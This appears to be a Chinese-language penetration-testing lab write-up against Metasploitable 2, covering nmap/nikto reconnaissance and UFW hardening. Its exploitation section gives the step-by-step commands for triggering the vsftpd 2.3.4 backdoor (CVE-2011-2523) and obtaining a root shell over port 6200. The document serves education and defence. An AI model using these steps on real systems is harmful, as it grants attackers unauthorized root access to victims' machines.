📋 概述

本实验室在一个完全隔离的虚拟环境中模拟了真实的渗透测试和防御加固练习。它演示了完整的攻击性安全生命周期——从侦察到利用——以及能够缓解每种风险的防御控制措施。

关键成果： 通过利用已知后门，在无需凭据且无特殊工具的情况下，于60秒内获取了目标机器的完全 root 访问权限。

🏗 实验室环境

🎯 方法论

侦查  →  扫描  →  利用  →  防御与加固

🔍 第一阶段 — 侦查

使用 Nmap 进行端口扫描

sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

关键发现—共23个开放端口：

使用 Nikto 进行 Web 扫描

nikto -h http://192.168.148.130 -o nikto_before.txt

发现18个漏洞，包括：

• phpMyAdmin 对外暴露
• phpinfo.php 泄露完整服务器配置
• 启用了 HTTP TRACE（XST 攻击）
• 启用了 /doc/、/test/ 目录索引
• 版本过旧的 Apache 2.2.8 和 PHP 5.2.4

💥 第二阶段 — 利用

CVE-2011-2523 — vsftpd 2.3.4 后门

vsftpd 2.3.4 包含一个由供应链攻陷引入的后门。发送以 :) 结尾的用户名会导致服务器在 6200 端口打开一个 root shell。

# 步骤 1 — 通过 FTP 触发后门
ftp 192.168.148.130
# 用户名: backdoor:)   密码: 任意内容

# 步骤 2 — 连接到生成的 shell
nc 192.168.148.130 6200

# 步骤 3 — 验证访问权限
whoami
# → root

结果： 在 < 60 秒 内获得了完全的 root 级别系统访问权限——无需凭据、无需利用框架。

影响： 拥有 root 权限的攻击者可以读取/修改/删除任何文件、安装恶意软件、窃取数据或横向移动至网络中的其他主机。

🛡 第三阶段 — 防御与加固

UFW 防火墙 — 默认拒绝策略

sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # 仅允许 SSH
sudo ufw status verbose

推荐的修复措施

📄 完整报告

请参阅 report.md 获取完整评估——包括完整方法论、命令输出、发现表、利用步骤以及所有修复建议。

⚠️ 法律免责声明

本实验室是在完全隔离的虚拟环境中使用故意存在漏洞的软件（Metasploitable 2）进行的。所有技术仅用于教育和作品集展示目的。请勿在你未拥有或未经明确书面许可的系统上复现。

🛠 使用的工具